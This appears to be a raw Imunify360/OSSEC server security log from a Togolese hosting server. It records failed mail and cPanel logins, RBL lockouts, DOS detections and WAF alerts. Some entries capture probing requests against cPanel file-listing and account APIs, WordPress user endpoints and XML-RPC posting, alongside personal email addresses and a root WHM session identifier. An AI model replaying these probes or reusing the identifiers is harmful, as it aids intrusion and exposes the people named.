abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:20:38 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 87.241.158.58
country_id: 174982
description:
2026-06-12 07:21:44 H=([87.241.158.58]) [87.241.158.58]:34018 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.126
country_id: 1880251
description:
47.128.96.126 - - [12/Jun/2026:07:22:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262685&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcybercriminels%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781248972 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cybercriminels/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.126


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 87.241.158.58
country_id: 174982
description:
2026-06-12 07:24:46 H=([87.241.158.58]) [87.241.158.58]:33994 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.86.31.49
country_id: 1819730
description:
2026-06-12 07:24:59 dovecot_plain authenticator failed for H=(1n308ghnu4i3zfldhrc) [47.86.31.49]:45450: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:27:14 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:27:22 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:28:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 151.247.72.163
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:togo-renforcer-le-systeme-educatif-a-travers-une-formation-de-qualite-des-instituteurs/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.75.122
country_id: 690791
description:
Jun 12 07:30:59 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.75.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-12 07:31:50 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:48160: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-12 07:34:52 +0000] info [webmaild] 196.171.46.177 - matthieu.awide@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.209
country_id: 1880251
description:
47.128.96.209 - - [12/Jun/2026:07:35:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6866120&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feconomic-freedom-fighters%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781249740 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/economic-freedom-fighters/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.209


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.1.77
country_id: 2363686
description:
[2026-06-12 07:36:14 +0000] info [webmaild] 196.170.1.77 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.206
country_id: 1880251
description:
47.128.96.206 - - [12/Jun/2026:07:35:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802352&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fshalev-tech-sarl%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781249758 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/shalev-tech-sarl/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.206


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.23.108.58
country_id: 2921044
description:
[2026-06-12 07:37:06 +0000] info [cpaneld] 89.23.108.58 - cpanel "GET /json-api/listaccts?api.version=1 HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:37:42 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 169.224.88.246
country_id: 99237
description:
169.224.88.246 - - [12/Jun/2026:07:38:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9882210&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feffondrement-dun-immeuble-au-nigeria%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781249895 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/effondrement-dun-immeuble-au-nigeria/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.5335.1972 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:169.224.88.246


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:38:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 91.245.204.152
country_id: 2510769
description:
91.245.204.152 - - [12/Jun/2026:07:38:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739974&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F05%252F14%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781249936 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/05/14/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.7109.1621 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:91.245.204.152


plugin: cl_dos
name: DOS detection
abuser: 137.59.47.73
country_id: 1562822
description:
2026-06-12 07:39:53.533491472 +0000 GMT m=+130775.048794625 Denial of Service attack was discovered from 137.59.47.73, on port 52223. Open connections: 287


plugin: cl_dos
name: DOS detection
abuser: 202.28.194.139
country_id: 1605651
description:
2026-06-12 07:40:54.887349601 +0000 GMT m=+130836.402652754 Denial of Service attack was discovered from 202.28.194.139, on port 52223. Open connections: 255


plugin: cl_dos
name: DOS detection
abuser: 137.59.47.73
country_id: 1562822
description:
2026-06-12 07:40:24.22306912 +0000 GMT m=+130805.738372373 Denial of Service attack was discovered from 137.59.47.73, on port 52223. Open connections: 265


plugin: cl_dos
name: DOS detection
abuser: 205.215.247.164
country_id: 6252001
description:
2026-06-12 07:43:28.637401708 +0000 GMT m=+130990.152704961 Denial of Service attack was discovered from 205.215.247.164, on port 52223. Open connections: 261


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 38.191.41.153
country_id: 3686110
description:
38.191.41.153 - - [12/Jun/2026:07:47:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10121067&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D10825&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781250440 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=10825" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.7746.1267 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:38.191.41.153


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-12 07:47:53 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:34742: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:48:54 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 213.195.85.112
country_id: 2510769
description:
213.195.85.112 - - [12/Jun/2026:07:51:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055064&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D12541&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781250686 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=12541" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.4341.1583 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:213.195.85.112


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 07:54:57 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-12 07:55:00 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:48314: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: cl_dos
name: DOS detection
abuser: 172.237.73.24
country_id: 1880251
description:
2026-06-12 07:58:55.155083513 +0000 GMT m=+131916.670386766 Denial of Service attack was discovered from 172.237.73.24, on port 80. Open connections: 260


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:00:56 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.158.46
country_id: 2363686
description:
[2026-06-12 08:02:04 +0000] info [webmaild] 196.168.158.46 - gsanguitaah-tiwarka@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.158.46
country_id: 2363686
description:
[2026-06-12 08:02:44 +0000] info [webmaild] 196.168.158.46 - guillaume.sanguitaah-tiwarka@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.190.169.197
country_id: 2017370
description:
Jun 12 08:03:19 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.190.169.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.114.38.64
country_id: 3895114
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.190.169.197
country_id: 2017370
description:
2026-06-12 08:03:21 dovecot_plain authenticator failed for H=c4350.col.wm.ru (810uo4njqho04gr1fkvd7rw) [194.190.169.197]:53257: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.158.46
country_id: 2363686
description:
[2026-06-12 08:03:22 +0000] info [webmaild] 196.168.158.46 - guillaume.sanguitaah-tiwarka@togointerim.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:04:42 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 188.215.235.50
country_id: 1831722
description:
Jun 12 08:08:40 ns5 pure-ftpd[1393875]: (?@188.215.235.50) [INFO] New connection from 188.215.235.50


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 173.239.201.133
country_id: 1643084
description:
Jun 12 08:08:43 ns5 pure-ftpd[1393882]: (?@173.239.201.133) [INFO] New connection from 173.239.201.133


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:12:59 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 152.58.97.51
country_id: 1269750
description:
152.58.97.51 - - [12/Jun/2026:08:13:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9859271&pdata=https%253A%252F%252Fcivilemagazine.tg%252Fla-croix-rouge-togolaise-appuie-la-commune-de-kpele-1-dans-la-construction-de-latrines-publiques-le-lancement-officiel-des-travaux-a-eu-lieu-ce-21-janvier-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781251980 HTTP/2.0" 302 0 civilemagazine.tg "https://civilemagazine.tg/la-croix-rouge-togolaise-appuie-la-commune-de-kpele-1-dans-la-construction-de-latrines-publiques-le-lancement-officiel-des-travaux-a-eu-lieu-ce-21-janvier-2026/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.9842.1686 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:152.58.97.51


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.104.44
country_id: 3469034
description:
Jun 12 08:13:41 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.104.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:15:32 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun 12 08:17:59 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun 12 08:18:59 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 11009
name: WHM login success
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-12 08:19:08 +0000] info [whostmgrd] 80.248.64.198 NEW root:StND5Dy1etdwe6wc address=80.248.64.198,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.117.110.107
country_id: 3686110
domain: www.lasnb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.tg/product/show/djama-panache HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.200.165.208
country_id: 1227603
domain: www.lasnb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.tg/albums/page HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.176.58
country_id: 1814991
description:
Jun 12 08:18:52 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.176.58 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 176.225.15.109
country_id: 102358
description:
176.225.15.109 - - [12/Jun/2026:08:22:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10012005&pdata=https%253A%252F%252Feducplusmedia.tg%252F2024%252F11%252Fpage%252F3%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781252574 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2024/11/page/3/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.7769.1335 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.225.15.109


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:24:11 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-12 08:24:31 +0000] info [webmaild] 196.171.46.177 - justine.botcholi@togointerim.net "GET /cpsess2292507615/3rdparty/roundcube/?_task=mail&_action=compose&_id=7983102169fcb2e3946f3 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.94.53.17
country_id: 6252001
description:
Jun 12 08:25:45 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.94.53.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.94.53.17
country_id: 6252001
description:
2026-06-12 08:25:47 dovecot_login authenticator failed for H=(localhost.localdomain) [23.94.53.17]:47444: 535 Incorrect authentication data (set_id=test@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:27:01 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.86
country_id: 3469034
description:
Jun 12 08:29:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.86 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.211
country_id: 690791
description:
Jun 12 08:29:41 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.92.204.25
country_id: 798544
description:
Jun 12 08:29:50 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.92.204.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:31:14 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:31:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.141.132
country_id: 2963597
description:
Jun 12 08:34:10 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.141.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:34:18 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.141.132
country_id: 2963597
description:
Jun 12 08:34:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.141.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:34:27 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.248.177.44
country_id: 1831722
description:
Jun 12 08:34:59 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.248.177.44 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.38.17.219
country_id: 6252001
description:
[2026-06-12 08:38:22 +0000] info [cpaneld] 45.38.17.219 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-12 08:38:51 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:45412: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 49.12.66.97
country_id: 2921044
domain: butodra.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users/me?_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.175.22.92
country_id: 6252001
description:
[2026-06-12 08:40:15 +0000] info [cpaneld] 192.175.22.92 - camaegdtomgo "GET //login?user=camaegdtomgo&pass=__HIDDEN__ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 160.25.186.194
country_id: 1694008
description:
160.25.186.194 - - [12/Jun/2026:08:39:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908312&pdata=https%253A%252F%252F24heureinfo.tg%252Ftechweb%252Fau-togo-larcep-incite-les-operateurs-a-proposer-des-forfaits-de-15-go-a-500-f%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781253579 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/techweb/au-togo-larcep-incite-les-operateurs-a-proposer-des-forfaits-de-15-go-a-500-f/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2612.1416 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:160.25.186.194


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.68.59.59
country_id: 298795
description:
212.68.59.59 - - [12/Jun/2026:08:39:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13407939&pdata=https%253A%252F%252Fcorpsdiplomaticnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781253596 HTTP/2.0" 302 0 corpsdiplomaticnews.tg "https://corpsdiplomaticnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.68.59.59


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.31.176.186
country_id: 2464461
description:
[2026-06-12 08:42:17 +0000] info [cpaneld] 102.31.176.186 - cafetg "GET /execute/Fileman/list_files?dir=/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.65.225.229
country_id: 1643084
domain: letempsdaider.org
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:45219.letempsdaider.org||ServerName:letempsdaider.org||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d7da9de390f94f5cf4a826eb0b6488bafd396804||Title:0xdbc14ec0||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 202.65.225.229
country_id: 1643084
domain: letempsdaider.org
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:14341.letempsdaider.org||ServerName:letempsdaider.org||Method:metaWeblog.newPost||BlogID:1||TitleSHA:81e1c799e0d9f54ace3d66e0979546ba33f7c45c||Title:0x5e387925||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.219.218
country_id: 2363686
description:
[2026-06-12 08:44:36 +0000] info [webmaild] 196.168.219.218 - guillaume.saguintaah@togointerim.net "GET /cpsess3285366991/3rdparty/roundcube/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=32&_mbox=INBOX&_action=show HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.158.46] != Current IP Address [196.168.219.218]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 08:44:56 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.85.240.79
country_id: 3686110
description:
186.85.240.79 - - [12/Jun/2026:08:45:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6580888&pdata=https%253A%252F%252Ftogodailynews.tg%252Fgcf-2-le-fonds-vert-pour-le-climat-nomme-mahmoud-moheildein-facilitateur%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781253912 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/gcf-2-le-fonds-vert-pour-le-climat-nomme-mahmoud-moheildein-facilitateur/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.7036.1659 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.85.240.79


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 08:46:19 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:46838: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.76.194.88
country_id: 1880251
description:
2026-06-12 08:45:28 dovecot_plain authenticator failed for H=(Polypet-REMOTE.polypet.local) [13.76.194.88]:53871: 535 Incorrect authentication data (set_id=root)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 13.76.194.88
country_id: 1880251
description:
Jun 12 08:45:33 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 13.76.194.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
